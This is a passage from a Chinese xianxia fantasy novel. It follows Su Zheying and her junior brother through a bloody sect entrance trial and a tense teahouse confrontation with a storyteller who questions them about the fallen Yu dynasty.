郁秋冥扫过周围,最终将视线落在苏折映头顶的树上,他足尖一跃,轻松跳了上去,靠在一只粗枝干上,一手垫着头,脸微微下瞥便能看到她。
苏折映注意到那些有灵性的木藤子,她意味不明道:“老人家不修玄气?”
那招数像混元又非混元,也不是她这般玄气与混元融通后自成一派。
“修,老夫刚刚那是——”菩提子眼珠一转,“古落宗独有。”
苏折映笑了,当她不知道混元道吗。
“那还真是独树一帜。”
菩提子轻咳一声,一手抚上那撮白须,高深道:“虽然老夫那日喝醉了,但也不是胡说。”
“小丫头,老夫也知道你没有表面这么简单,不过老夫还是得提醒一句,画虎画皮难画骨,知人知面不知心呦!”菩提子越看苏折映越是啧啧称奇。
这可是他迄今唯一遇见的半神命格!
“半神命格知道意味着什么吗?”他问道。
“成神呗。”她随意道。
“也可以这么说,大陆守护神知道吧?”菩提子道。
苏折映点头道“自然,诞世七神,护大陆千年之久。”
“神位有七,天枢、天璇、天玑、天权、天衡、开阳、摇光。”他摇摇头,惋惜道:“在魇魔出现之前大陆便经历过数次劫难,七神早已陨落至三人。而魇魔问世的十年前,大陆神位早已无人。”
“怎会?”苏折映诧异道,魇魔问世后,曾有一位出面将他们悉数镇压在溟川屿下。
若是依菩提子的话,神位无人,那么镇压魇魔的人是谁?
又为何以大陆神的名义来做这件事?
“你想说,大陆神镇压魇魔之事吧?”他一双浊瞳此刻格外清明,叹了口气,道:“不过世人编造出的故事来慰藉自己罢了。”
不知从何时起,他们都开始不断告诉自己,告诉后人,大陆有神守护着他们——
一位永远不会离开的神祇。
“大陆哪来那么多神来守着他们。”说着,菩提子脸色也难看起来。
“所以跟我有何关系?”
“半神命格可是有望突破窥神道的!”他激动道。
苏折映:“所以,好命变烂命?”
菩提子皱眉,“我不是说了,小心身边的人,不然没什么好下场。”
“我身边?”她下意识看向树上的小师弟。
郁秋冥也是听着两人的对话,他挑起嘴角,笑着对上她的视线。
“我身边人挺好的。”她道。
“你这丫头!”菩提子恨铁不成钢道,胡子都要被她气歪了。
见她一副油盐不进的样子,菩提子又看向郁秋冥,“你小子!”
“想知道为什么命不久矣吗?”
“不想。”
“……”
菩提子呵呵一笑,“好,你们是我菩提子这辈子见过最犟的!”
一个油盐不进,一个漠不关心。
好。
真是太好了!
“小师弟不好奇?”苏折映笑道,她都好奇了。
“有什么好奇的。”郁秋冥枕着臂,仰起头,雾气掩住了月,他伸出手,却依旧借着灵木上的流动荧光看清手指。
“命就在我自己手里,不是吗?”
由他自己掌控着。
苏折映低头,轻笑一声,“是。”
是啊,半神又如何,若真有破境的那天,她也会弃了。
自己的命就该在自己手中。
守护苍生?她可不干!
菩提子是真被气到了,大手一扬,苏折映感觉身体瞬间一轻,身下的木藤子散开,她咚的一声栽在了地上,眉头一皱,转头看到菩提子已经撇过脸,哼声道:“该说的也都说完了,赶紧走,你们在这空气都不通畅了!”
“走,我们这就走。”她抬头一看天色,隐隐有破晓之势。
苏折映揉了下腰,对着树上的人道:“走了小师弟,得赶回去初试了。”
郁秋冥从树上跳下,菩提子又是一声冷哼。
两人却是默契得对着他谢道:“今夜多谢长老解惑。”
“哼。”
苏折映忍着笑,踩上了漱玉,临走前,菩提子还是没忍住朝两人喊道:“别忘了答应老夫的酒!”
“好酒!必须是好酒!”
漱玉飞出不远,苏折映听到后,摆手,也喊道:“知道了老头。”
“死丫头,一点也不尊老。”两人身影渐远,菩提子低声自语道。
苏折映眉间染着笑意,这菩提子跟他家老头还挺像的。
远处天际渐明,红色夹着橙黄染了天边,回程途中,已经有不少弟子御剑出行,也有些参加初试的修士,来来往往的,两人在他们之间还不算太惹眼。
两人在赶回去时,万俟霜正慌张着找她,一连惊动了好一片院子。
她刚踏进院子,万俟霜就从身后一道风似的冲过来,苏折映下意思躲开,就见万俟霜敞着双臂一僵,立马收了臂,双手不动生声色地负在身后,瞥她一眼,道:“你怎么回事?大清早起来你屋子一团乱,人也不见了。”
“万俟小姐这是担心我?”苏折映上前,靠近万俟霜,一只手勾起她的下巴,风流道。
“咦,你离我远点,我可没有什么特殊癖好。”万俟霜绿着脸挣开下巴,傲声道,“难得有个看得上眼的对手,还没比划比划就消失了怎么行?”
“那我可要跟万俟小姐好好比试了。”她放下手,恰好江清野从郁秋冥那间院子出来,他看到郁秋冥,疑惑道:“你昨夜怎么一夜未归?”
“?”苏折映眼睛一眯,问江清野:“你昨夜跟小师弟住一起?”
他点头,“昨夜燕公子将木牌号调换回来了。”
“小师弟?”苏折映摸着下巴,绕着郁秋冥转了一圈,他的目光随她而动。
“被燕珩公子赶了出去?”
苏折映总觉
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得这一幕似曾相识,江清野回味过来,掩着唇笑了。
好巧不巧,燕珩也赶了过来,一身藏蓝暗花锦袍杵在万俟霜身后,冷眼看向郁秋冥,后者亦是阴沉着神色,两人之间气氛嚣张,像是拉满弦的弓,搭在上面的箭随时会冲出去。
江清野此时站出来,替他圆了过去,“是我让他出去的,昨夜旧疾复发,怕扰着苏公子。”
“原来如此。”苏折映也不拆穿,这事又这么揭了过去。
“走吧走吧,一个个杵在里,不准备初试了?”万俟霜催促道。
郁秋冥收回目光,低着头跟在苏折映的身后,蔫了吧唧的。
几人一起去到了汇武场,数百人站在场地上,不过进来时汇武场人多,他们被人群给挤开了。
苏折映往人少的边侧移了几步,她望向前殿,上面只有齐风在。
辰时一到,那边的金塔便响了,晨光落在众人身上,个个跃跃欲试的样子让齐风不禁冷笑一声,他高声道:“诸位只有三个时辰时间,时间一过场内活着的人就进入下一轮。”
“三个时辰后若是活着的人超过三百人呢?”人群里有人问道。
“超过三百人?”齐风冷声道,“那便继续杀,杀到三百之内为止。”
“……”
众人一默,心都随着他的话沉了下来。
“可还有疑问?”齐风道。
众人纷纷摇头。
“那便开始吧。”衣袖一扬,半空之中出现一个虚虚的沙漏影子,“沙漏尽之后便是结束时。”
又是一道金光掠向众人间,猝然变大最后将笼罩了整个汇武场,苏折映站在边上,抬手戳了戳那层金光,刚触上便瞬间被震回来。
齐风瞥她一眼,对众人警告道:“天阶法器,金罡界,非玄胜之上不可逃出。”
苏折映闻言却是一笑,那她这个即将混元大成的人岂不是可以随意出入了?
离开之前,齐风又补充一句:“诸位,手段不限。”
一句话激起千层浪,本就带着不纯心思的人现在更是一下子躁动起来。
上空的沙漏开始运转,乌泱泱的人群中瞬间发出一阵痛苦的尖叫,一个白衣男子倒下来。
一名修士趁着旁边人不注意,抽出了剑便捅进了白衣男子胸口,他眼神阴狠,握剑的手却是抖个不停,像是第一次杀人。
他猛地抽出剑,血溅到脸上,顺着往下流,嘴里还不停念叨着:“不能怪我不能怪我……都来参加初试了,早就不能是朋友了……”
周围人深吸一口冷气,不自觉地远离了他,没一会儿,那修士周围就空出一大片空地来。
苏折映见状,有些诧异,那修士她还见过。
正是在无月城门口她身边的那两人,被捅的那人就是笑他白日做梦的那个。
想不到转脸就被好友捅了个透,连句话都没说出来,便见他不可置信地瞪着眼珠子,死不瞑目。
这么说,手抖可能不是第一次杀人,是第一杀好友。
“这不是花河镇的有名的剑修秦斩么?他们不是还俗称斩花双剑?”
“那白衣服这个不就是花麒了?”
“这就杀了?”
“这也太……”
见人都对他避讳三尺,秦斩大笑一声,提着带血的剑吼道:“装什么装,你们不杀人?你们很清高吗?哈!不杀人怎么进万象宗?”
“疯了吧?!”还有几人骂了出来,但更多的则沉默了。
一时半会,除了秦斩无人出剑,但也少不了有人已经开始蠢蠢欲动了。
秦斩见状,讽笑道:“一群伪君子!”
言罢,提剑就刺向离他最近的一个女子,那女子还反应过来,但修为不如秦斩,就这么眼睁睁看着利刃划烂肚皮,鲜血喷洒,红色秽物落了一地。
秦斩就真如他名字一般,对着人群一个一个斩去,有人烂了上身,有人被他截了腿,还有被断了头,一个比一个惨。
显然已经杀红了眼,气氛也被带动着变得微妙起来,刚才还蠢蠢欲动的,现在已经抽了剑或法器打了出去。
“老子早就看你不顺眼了!”
“给我去死吧!!”
“你看清楚,我可是你道侣!”
“我管你是谁?”
“啊——”
“……”
空中不断溅起的血画面被苏折映收入眼中,她忽然想起昨夜菩提子的忠告。
再亲近的人也会有刀剑相向的一天吗?
眼前忽然剑光一闪,破空声荡在耳边,她侧头,漱玉劈头向她飞旋过来!
她忽然发现青色剑柄上不知何时多了一抹同色剑穗,随着剑扬在空中。
叮——
漱玉剑尖打到另一把剑上,估摸是挥剑的人太用力,被打到的那把剑直接断成了两半,碎在地上,而漱玉剑身侧着苏折映耳边过后,带起几缕黑发一阵飘忽,而后又是一转,转回到主人手里。
郁秋冥拿着漱玉,从混乱中淡淡走来,他学着苏折映之前的样子,皱眉“啧”了一声,“师姐还要小师弟来保护?”
19. 初试
黑靴踩过断剑剑身,郁秋冥一步一步靠近她,走近了,他微微弯下腰,伸手想将苏折映耳边那缕黑发别回去。
苏折映下意识躲闪,她回过神,笑吟吟问道:“你这剑什么做的?”
如果她没看错的话,刚才那把是钨矿炼制的吧?
漱玉竟然能如此轻松将它斩成两半。
郁秋冥收回手,直起身道:“玄铁。”
苏折映愕然,这得是什么样的玄铁才能如此坚硬。
郁秋冥像是看穿了她的想法,补充道:“普通玄铁。”
“没见过?”他将漱玉递到她眼前。
冷硬的剑身泛着寒光,青色剑柄上还雕着银色花纹,她细细看去,像是纵横交错的枝杆,却没有叶子。
苏折映摇头,“没见过。”
他笑了一声,收了剑。
不过两人间说话的功夫,汇武场上的血腥味又重了不少,血浸了一地,越是往中间,地上的尸体也就越多。
活着的人已经三两结派,中央的人杀完了,便开始转向边缘。其中有两三个小队伍都盯上了苏折映和郁秋冥。
两人衣裳干净的不像话,甚至还在视若无人般说起话来,他们一扫,发现两人不过是入境期,更是不放在眼里了。
离两人最近的一小队,队伍中三男两女相视一笑,默契地朝着苏折映这边过来。
为首的是一位年轻女子,脸上有一条极为狰狞的棕黑色疤痕,赤红的束腰裙上被血渐得湿哒哒往下滴着血水,她一扬眉,那疤就随之而动。
她提着刀走过来,二话不说便朝苏折映劈下来!
郁秋冥抽剑的手被苏折映按下,她漫不经心道:“好久没打过架了。”
掌心聚起玄气,不需要依托剑和法器,夹杂着丝丝缕缕灰色的玄力从掌心冲出,直直迎上女人的大刀!
两股玄力冲在一起,带起一阵飓风,刮得几人衣袍都跟着猎猎作响,凝神一听,好似还夹着两道铃铛声响,正屠杀着修士也被眼下这变像冲愣了神。
那女人被震得虎口一麻,后退数步,险些丢了刀。
苏折映抬起手看了看,莫名道:“她这也太弱了吧……”
郁秋冥站在她身侧,淡淡道:“迷津四段,是挺弱的。”
众人闻言,皆是瞪圆了眼,没听错吧?
迷津四段弱?
这人是什么妖怪吧!
穆涟也是一脸恼怒,感觉自己被狠狠羞辱了,她望向周围看戏的人,勾起一抹阴冷的笑,高声道:“她就是苏折映!那个排名第一的人!”
“什么?!”
“原来她就是,我当是什么大能呢。”
“入境三段的女修也能当第一了?”
“哼,肯定是运气好先进来了。”
“哦?”苏折映疑惑一声,问道:“苏折映是谁?”
“?”
“排名第一啊,你不知道?”一个男子道。
“不知道。”
“你们说我是苏折映倒是证明一下。”她笑道。
“对啊,你倒是证明一下啊。”一群人又转向那女人。
穆涟握起拳头,她不过是随口一道,想让她成为众矢之的。没想到她还挺聪明,知道索要证据。
“这位姐姐,你这么厉害不会就是他们口中的第一吧?”苏折映笑嘻嘻道。
“我怎么会是!”穆涟虽然不想承认,但此时的第一就像是个烫手山芋,谁接了谁就成了众敌。
“证据呢?”苏折映问道。
说着,她一边拿出了自己的那块木牌,正面板板整整刻着数——二十九。
穆涟看到上面的数却是瞳孔骤缩。
那是她的木牌号!
“什么啊,原来不是。”
“这位姐姐的呢?”苏折映道。
穆涟心底一沉,只觉自己不应该将木牌拿出来,周身修士们像是杀累了,想借着此时休息一会儿,个个提着染血的剑和法器附声道:“木牌拿出来看看不就知道是不是苏折映了。”
她小队中的几人惯是会察言观色的,在看到苏折映的木牌号是就感到不对了,眼下更是闭着眼睛装死。
穆涟巍巍颤颤地从怀中掏出木牌,却是始终不敢亮出来。
郁秋冥上前,拿着漱玉,剑尖勾在穆涟指尖微微向上一挑。
木牌从她手中脱离,连带着血,飞旋到半空,上上下下转了个来回,木牌两面被众人看的一清二楚——
苏折映,一。
尽管料想到这种可能,但穆涟还是感到不可置信,她惊恐道:“这不可能?!你到底对木牌做了什么手脚?”
“我入境三段能做什么手脚?”苏折映无辜道。
沙漏不知不觉已经漏下了三分之二,一旁也浮现出了一串金色数字——四百六十九。
汇武场内还剩四百六十九人,所以说,一个时辰内还要再杀一百六十九个。
但第一已经知道是谁,四百多人杀她一个,岂不是易如反掌?
第一死了,他们进入内门的机会也就更大了一些。
“原来是贼喊抓贼!”
一群人发疯了一般朝着穆涟冲来,她回头,发现自己的队友早就躲进了人群里,不知踪影。
且不说双拳难敌四手,穆涟一个人在四百多修士面前根本毫无还手之力。
其中也不乏有想对苏折映两人下手的,都被郁秋冥一个个杀了。
渐渐的,他们也都发现了两人不简单,又寻了其他人去杀。
沙漏旁的金色数字又是一段跳动,变成了三百一十四。
苏折映悠哉的样子,让周围的人看了很是恼火,也就在这时,又有两道身影走过去。
知道燕珩和万俟霜本事的人都是眼神一亮,这下有人能惩治一下他们了。
就见万俟霜手一扬,在一众期待的目光下,轻轻搭在了苏折映肩上。
“不错嘛,有几分本小姐的英姿了!”万俟霜玩笑道。
苏折映扬眉,谦逊道:“自是不及万俟小姐。”
众人一看,不仅不是找茬的,反而还是熟人,都泄了气。
江清野一身白衣被染得鲜红,他也跟了出来,苏折映一瞧,顿时笑道:“好久不见江公子杀人了。”
当年他的名号可是响亮的很,不必她少主的名声低到哪去。
白衣鬼傩面,黑煞真修罗。
说的就是他江清野,明明是象征着消灾解难,戴在他脸上便成了追魂索命的。
不出手则已,一出手那还真算得上是尸横遍野。
而这个傩面修罗的名字已经在大陆销声匿迹了六年。
江清野却是擦擦脸上的血迹,道:“见笑了。”
五人聚在一起,有着万俟霜和燕珩两人,谁也不敢来找他们的麻烦了。
随着厮杀声渐小,沙漏已空,空中的金色数字最终停在了二百九十七。
那金塔一响,剩下的人都收了手。
齐风踩着钟声出现,向下一望,汇武场像是条血河,他神情漠然,收回了金罡阵。
凉风灌入,冲淡了些血腥味,众人只觉一阵神清气爽来不及高兴,便听齐风道:“初试结束,死者排名不计,后者排名向前进一。”
下一秒,沙漏在空中溃散,变成了蓝色光点,同昨日一样,聚成一个个名字。
可令众人意外的是,榜首上的名字依旧是苏折映。
“不对吧?”有人出声道,“苏折映不是已经死了吗?”
“是啊,我还捅了一剑呢。”
“尸体还在那便躺着,莫不是弄错了。”
齐风扫了一眼人群,漠声道:“并无差错,那人非苏折映。”
“木牌上不是写着吗?不是苏折映是谁?”
“
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她是穆涟。”一个男子道。
他是穆涟先前队伍中的一人,自然清楚她是不是苏折映。
“这么说,苏折映没死?”
“不然呢?”
“……”
众人失语,原来他们争着杀了半天的人居然是个假的。
而苏折映之后,依旧是苏郁、江清野、万俟霜,还有第二百九十八的燕珩。
齐风挥散排名,继续道:“两日后终试,由二长老带领诸位前去阴魂林界,狩猎三日。计分排名,前百名者入宗门,前二十者入内门。”
他将众人遣散,一个术决下去,汇武场上的尸体和血迹一并消失得无影无踪。
正要离开,身后的玉雕殿门忽然被推开,方无澈缓步走出,他身边还跟着一位戴着黑色兜帽的人。
浑身上下被遮得严实,只能依稀看见他略带褶皱的苍白下巴。
齐风向前作揖道:“宗主,大人。”
“初试如何?”方无澈问道。
“如您之见,这几人不简单。”
方无澈忽然大笑一声,一手搭在了齐风肩上,道:“不简单就对了,若是能入了我万象宗,此等人为大人献身也是三生有幸了。”
齐风低头,不敢多言。
戴着黑色兜帽的人却是冷言道:“别太轻视了他们。”
“大人且放心好了,他们待在眼皮子底下才是最安全的。”方无澈拍拍齐风的肩,“这几个人可不能出了差错。”
“是,宗主。”
*
苏折映回到院子时,她屋内坏了的床榻已经被换成了新的。
虽然一整日都没怎么休息,但此时也不觉得疲倦,她从乾坤袋中摸出个画本子来,坐到床沿打算细看一番。
这是她在菩提宗地界淘来的,听说万金难求一本。
只希望这本花了她两百玄石的画本不要同之前的那般的俗套。
苏折映刚翻开一页,便看到画中交错的小人儿,惊得她手一抖,险些丢了出去。
她将话本子牢牢合上,对着正面看了又看,开始怀疑是不是被那小贩给骗了。
这哪是什话本子,这分明是——
秘戏图!
正打算将它处理掉,苏折映却是面色一变,心口骤然钻心一痛,有些喘不过气。
窗外一阵阴风刮过来,吹得屋内烛火上下跃动,屋内的挂着的笼灯和桌上的烛火都在瞬息之间灭掉。
她屏息,神色犀利地掠向窗边,一个黑影映在上面。
它扭曲着四肢,映在窗上的影子张扬舞爪,而它头顶上好像还有什么东西上下浮动。
苏折映聚起一团灰雾就打向窗户,窗户被打了个稀碎,冷风从窗户洞涌进来,外面黑漆漆一片,根本没有任何东西。
反倒是对面的万俟霜听见了动静,匆忙赶过来,她外面随意披了个大氅,从窗户洞探出头,问道:“怎么回事?”
苏折映一手按着心口,等那阵不适缓了下去后,才道:“无事,方才看错了,以为窗外有人。”
她刚刚击破窗子的时候却是未见有任何身影逃窜,能逃过她神识和攻击的,又有几人?
除非方才是她的幻觉。
可是,真的会有如此清晰的幻觉吗?
万俟霜对着破掉的窗户叹气一声:“你今晚还能睡吗?”
都快重开一个门了。
“不要紧。”苏折映摇头。
万俟霜打个哈欠,“那我回去了,有问题记得叫我。”
“嗯。”
苏折映眼睫一垂,那话本子撞进她眼里。
带了几分怨气的,她将其丢在地上,扬起一团灰雾化成的火,把它烧了个透彻。
相比之前的,这话本也不知是出自哪里,内容比她先前看的可谓大相径庭,还如此受人追捧。
看得心口不舒服,还是烧掉的好。
20. 论茶会
距离终试还有两日时间,若按照之前的规矩,这两日是不可擅自离宗的,可在第二日一早便有弟子通传下来,这两日内他们可以凭借木牌出入万象宗。
以至于万俟霜在知道后便跑出来,将头探进了苏折映屋子的破窗洞,眼神飘进榻上。
帐纱只放下一半,里面隐隐可见一团蓝色鼓包,床榻上苏折映平日微束的发丝松散下来,遮住了一半的面颊,一身中衣被睡得松垮,颈下的那片白净的锁骨随着呼吸上下震颤。
万俟霜一时看得呆愣,就见她闭着的眼睫轻颤了几下,睁开了眸,狭长的眼角勾着红晕,在望见窗边的红色身影时笑了,眼尾上挑,很是勾人。
苏折映坐起身,撩了那一半帐纱,勾起唇道:“回神了,大小姐。”
万俟霜探着的头猛地缩回去,轻咳一声,俏声道:“宗主说这两日可以自由出入万象宗,你要跟我一起出去吗?”
“你要下山?”苏折映从枕下摸出那条发带,松松将头发束住,又从乾坤袋调出身新衣裳,烟绿色罗仙衣袖上勾着墨绿的纹饰,腰间束着一条细白腰封,衣摆下的刺绣纹着密密麻麻的晦涩符文。
她就这么视若无人般当着万俟霜的面换。
万俟霜应了声,默默背过身去,道:“去无月城转转,当时为了初试报名都没怎么看。而且听说这几日无月城有论茶会,热闹的很,阵仗可不比万象宗报名时的差。”
“论茶会?”苏折映换好衣裳,又将那黑百合吊坠挂上。
“嗯,每年就会办一次,今年刚好在无月城,你就不好奇?”万俟霜问道。
苏折映摇头,还真不好奇,无聊的论茶吟诗,一群文绉绉的修士百姓从各地相聚在此,不论身份,只谈茶道。
前几年她遇上过一次,好奇观了一场,只听了一盏茶的功夫便走了,往后就再没去过。
“好吧,那我就要一个人去了。”万俟霜遗憾道。
苏折映却道:“没说不去,反正万象宗待着也无事,下去看看也无妨。”
“那走吧!”万俟霜脸色瞬间由暗转明,整个人都变得明朗了不少。
苏折映踏出门时腰间叮铃一响。
万俟霜想起来那晚说要给她做吊坠的事,目光便不禁飘向她腰间。
苏折映见状,好笑道:“会给你做的,喜欢什么式样?”
万俟霜毫不犹豫道:“山茶。”
“好。”苏折映笑道:“山茶很衬你。”
万俟霜别过脸,面色有些不自然,先一步出去了。
苏折映将玄力灌入吊坠,联系了郁秋冥,被淡光包裹着的黑百合闪了一下,传出一个清冷的声音:“师姐?”
“万俟霜邀我下山,你来吗?”
他应了一声。
话落不过几秒,就听院外的万俟霜道:“苏公子?”
“师姐。”
郁秋冥站在院前,晨光一缕,树下透过点点光斑落在他身上,和刚刚被玄力裹着的吊坠很像,也是黑色的。
“还挺快。”苏折映走过去,发现院前不止郁秋冥和万俟霜,燕珩也在,还有跟着郁秋冥姗姗来迟的江清野。
“都要去?”万俟霜皱眉道。
郁秋冥站到苏折映身侧,“我跟着师姐。”
燕珩抱着剑道:“小姐安危是首位。”
最后,几人都看向江清野,他温声道:“我对论茶会挺感兴趣的。”
万俟霜:……
“那就走吧。”
*
论茶会即临,无月城比平日更热闹了,各街铺子上都挂上了淡青色的锦布,上面黑墨挥毫一个“茶”字。
往日生意清淡的茶馆此时皆是座无虚席,更甚者还排起了队。
随意靠近一家小馆就能听见里面传出的争论声,却带着别样的韵味——
很平淡,像是经年未见的旧友在讲述往日的经历。
走在街上便可闻到隐隐的清冽茶香,万俟霜感慨道:“原来这就是论茶会。”
她们菩提宗还未举办过。
江清野却道:“无月城办的并不算好。”
“还有比这更大阵仗的?”万俟霜问道。
“当然有。”燕珩走在前面,转过头,解释道:“若说论茶会的阵仗,平梁城称二,无人敢当这第一。”
五年前平梁城的论茶会当真是大陆屈指可数的盛况。
倒不是有多么隆重,而是大陆中举足轻重的人都来了。
门庭若市,当真不是说说而已。
“可惜了。”万俟霜遗憾道。
气氛忽然有些冷了,她察觉到,转移话题:“要去看看吗?”
“走,带你们去家人少的。”苏折映眼中划过狡黠。
万俟霜疑惑道:“论茶会还有人少的茶馆子吗?”
“自然。”
江清野和郁秋冥却是了然,她口中的应当是无上阁。
果不其然,苏折映熟络地带着四人走进了那偏僻的小巷子里。
这里好像不属于无月城一般,热闹的氛围丝毫感染不到这,依旧无人问津,将无上阁的牌匾衬得清冷萧条。
苏折映一眼看去,楼门大敞,里面却只有寥寥数人。
万俟霜跨进门,扫了一眼,不免震惊。
中间设着矮台,围着矮台的一圈置着玉案,甚至备的茶具和砚台也皆是上品,一层的四个白圆柱上,两两相称,一对绘着山水墨画,一对赋着论茶词句。
松花酿酒,春水煎茶。
矮台子上,熟悉的身影还在那喋喋不休。
这里没有掌柜的,门内边上摆了张木桌,上面就放了张灰色破碗,还缺了一角。江清野掏出一颗玄石,放了进去,就见碗中白光忽闪,方才还在里面的白晶玄石此刻不见踪影。
他解释道:“吞金碗。能吸纳一切附带玄力的东西。”
也就是这的“掌柜”。
“这才一玄石?”万俟霜不可置信,无月城这等有名的大城,城内随便买些吃食便要上百玄石了。
可这茶馆竟只要一颗玄石?!
江清野点头,他指了指门内挂着个青竹筒,“明码标价。”
几人看去,那门内头上果真挂着一个青竹筒,上面写着一玄石入阁。
“这茶楼的老板还真是个奇人。”万俟霜道。
一层茶客只有两三人,还仅仅只是煮茶听戏,丝毫没有论茶的打算。
“这么个怪地儿也能被你
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找到。”万俟霜凑近苏折映,低声道。
她却摇头道:“这是江公子找到的。”
台上,蓝白长袍的说书人忽然顿住,眼珠一转,看向了苏折映几人。
呆板的样子与那日夜里见到的大相径庭。
他停了话,下面的两三茶客便皱眉,不满地看向来人。
其中有个中年模样的男人,睨了她一眼,语气很是轻蔑:“论茶的?”
“不是。”苏折映笑道。
“吟诗对赋?”另一个书生样的年轻人道。
“也不是。”苏折映还是笑道。
“那是来作甚?”
苏折映直接就近坐在了一处案边,“来听听先生的新故事。”
一张玉案坐不下五人,郁秋冥和万俟霜一左一右在她身侧,燕珩坐在了苏折映对面。
这里的茶自然也是上好的,万俟霜煮上一壶,玄力分出的火焰,不过一会儿,玉质壶盖一掀,茶香四溢。
江清野自己则是寻了一处角落坐下,也煮了一壶。
几人品起茶来,苏折映却是没碰,虽然茶香,但她总觉得喝完口中干涩。
台上说书人僵着眼,沉默了好一会儿。就在几个茶客将要不耐烦时,他才开口道:“今日不讲故事。”
“那讲什么?”苏折映问道。
“看官听着便是。”
他一扬手,柱台上摆着的萤石暗了些,便沉着声道:“郁氏王朝一夜颠覆,城中百姓几乎无一人生还!可凶手呢?四大宗一齐出手也没能查到!”
他忽然扬了声,“而郁氏主君并无子嗣,如今又被屠了个干净,所以如今的郁氏王朝由四大宗掌管,更名——太和王朝!”
“啪——”
随着四个字落下,大堂传出两道碎裂声,说书人再一次停下。
苏折映漫不经心地捡起地上碎掉的茶具,一副纨绔子弟的模样,随意道:“手滑了,多少玄石,我赔给你。”
角落的江清野闻声道:“入阁后一切损毁都不做赔偿。”
说书人沉着眸,透着不满,但还是点了头。
苏折映笑了,想不到这茶楼这么大方。
说书人欲张口继续,却又被一阵响声打断。
敞着的大门莫名被重声合上,台柱上微亮的萤石也跟着暗下。苏折映神识大开,发现原坐在大堂的三个茶客已经离开了位置。
脖颈被一抹冰凉抵上,其中的两个茶客分别执了两把剑,架在了她和小师弟脖子上。
可却毫无威胁。
她微微转头,万俟霜和燕珩正神色迷离得望着杯中的茶水,像是被蛊惑了一般。
说书人不紧不慢地撕了小胡子,走到两人身前,直言道:“你们和郁氏王族什么关系?”
“毫无关系。”苏折映道。
说书人冷笑一声,黑眸精明,“毫无关系?敢问看官为何听我讲到郁氏王朝是会有如此反应?”
苏折映还是一副无所谓的样子,“不是说了么,手滑。”
实则不然,她就是故意的。
“手滑?”说书人显然不信,“那么再请问看官,那两日前为何深夜来我无上阁门前?”
“自然是路过了。”
21. 本命剑
“看官若是不交代清楚,今天怕是难以走出这里。”
说书人撩开蓝白长衫,在苏折映旁边的一张玉案不紧不慢坐下,熟练地捻起茶叶,揭盖煮上。
苏折映手背抵上剑身,向外一推,茶客根本抵不过那阵手劲儿,明明只是轻轻一动,便叫人无力抵抗。
“我若想走,先生觉得拦得了我?”她手抚上方才被抵着的地方,指尖湿濡濡的,不知何时被割破了些。
“他们是不能。”
说书人一下下敲点着案面,让她觉得有种说不清的压迫感,和面对方无澈和师父时不一样,与他们相比,说书人给她的更多是一种对未知实力的不安。
“但我可以。”
几乎是话落的瞬间,说书人案上的茶具墨宝被他一掌拍起,顿时裂开成数个碎片!
黑暗中,只听阵阵破空声划至耳畔,直逼苏折映双眼!
苏折映淡笑一声,却是从容地把玩着手中的杯盏,而碎片在将要射到面前时,便被一把冷剑断下。
漱玉剑身一竖,郁秋冥从一旁站起来,而先前拿剑抵着他的茶客不知何时躺在了地上,刚刚还握着剑的手此刻正不停抽搐着。
碎片零碎地落进苏折映杯里,她轻抬一下手腕,可惜道:“不能喝了。”
“再煮一壶给师姐。”
郁秋冥重新将砂铫置上,燃上新火。
说书人眉梢一蹙,屏退了那三个茶客,他倒了杯茶,道:“阁下身手不错。”
出剑利落,剑气很足,是个学剑的好苗子。
“不如前辈。”
“真不打算说出实情?”说书人端着茶,一手拿着杯盖撇了两下茶沫,“别忘了还有两人未醒。”
苏折映看向江清野那便的角落,白衣胜雪,悠然地喝着茶。见她望过来,他温声道:“他并无恶意。”
并无恶意?
苏折映不禁摸上脖颈处的血痕,微微刺痛感传来,已经不再流血。
“那先生何不先说说为何故意讲郁氏王朝灭族的故事?”她本是想借着论茶会来这无上阁探查一番那夜的事,没想到这人也想试探她一番。
她将计就计,不想这人还真和郁氏有点关系,或者说与幕后黑手有点关系。
说书人却是绕起了弯,“看官先前不是说故事无聊,这才想着换个有意思的来。”
“故事听完了,很有意思。”苏折映意味深长,郁秋冥递来一杯新茶,她抿了口,意外地,茶不烫。
她喝了个干净,施施然起身。
郁秋冥瞧见空掉的杯底,眼底覆上笑意。
“既然故事完了,也该散了。”
江清野的朋友,她给分面子,不动手。
苏折映给角落的江清野睇了一眼,他了然,打了一响指,万俟霜和燕珩瞬间恢复清明。
说书人放下茶,暗下来的萤石又缀上几缕星点,恢复到先前时的样子。
万俟霜视线从茶上抽离,却是一脸茫然。
“怎么回事?”她双指揉了揉眼穴。
“无事,听了场好戏。”
有关郁氏被灭族后的戏。
那日郁氏王族被屠,她急匆匆赶回了溟川屿并没注意郁氏后来如何,尽管知道小师弟为郁氏皇子,但封印松动事关重大,她也并未多注意。
也不过几日时间,她再去查便毫无消息可循了,竟不想会在这茶楼听到。
“我怎么没印象?”万俟霜皱眉。
苏折映:“许是听睡着了。”
“是吗?”万俟霜不觉自己是会听戏听睡着的,但一旁郁秋冥也跟着颔首,她又不得不有点怀疑自己。
而燕珩却端坐在前,对着面前的茶盏若有所思。
“走吧,这里没有好戏了。”苏折映刚转过身,脖颈又是被贴上冰凉,这把剑比先前的更利,也更具寒意,她能肯定这把剑杀过很多人。
“先生这是何意?”
“看官还没有回答我。”说书人执拗道。
苏折映忽然笑出了声,“我说错了,还是循规蹈矩点的好。”
紧闭着的门又被吹开,说书人眼神一厉,握着剑横向一划,被苏折映退步躲开。
万俟霜起身,冷声道:“你们无上阁这是作甚?!”
说书人嗤声,根本不把她们放在眼里,被躲开一剑,剑身内旋,他手掌一松,剑柄在掌心下旋了一圈后重新握住。
剑诀一捏,汹涌的玄力无穷无尽似的涌进剑中,暗淡的茶楼中骤然迸出刺眼的银光。
等银光稍弱,眼前的银剑变成了数把,它们飞旋起来,阵阵银光,剑影如幕,仿若一条银蛇。
下一刻,直直冲向苏折映!
银光过盛,她也利落地抽了漱玉。
看得万俟霜倒吸一口冷气,连说书人的剑阵也不看了,瞪大了眼,不可置信地盯着苏折映挥出漱玉。
虽然混元无形,不需要承载体便可使用出来,但她还是想试试若是将混沌之气灌注剑身,又该如何。
就见银光之中,一抹青色裹挟了一团灰扑扑的雾,迎向了“银蛇”。
郁秋冥和江清野清楚她实力如何,淡然看着银光里。
一剑抵万剑!
银光四散,最终数把银剑虚影一晃,溃散在空中。
苏折映只身站在原地,一层的玉案矮台都被两人方才的力量掀得一塌糊涂。她勾起唇,抬起指腹轻压了一下唇角的血。
一剑是抵了万剑,但也只是堪堪抵住了。
说书人握住剑,毫不吝啬自己的赞扬,“小小年纪竟有如此实力,先前是在下眼拙了。”
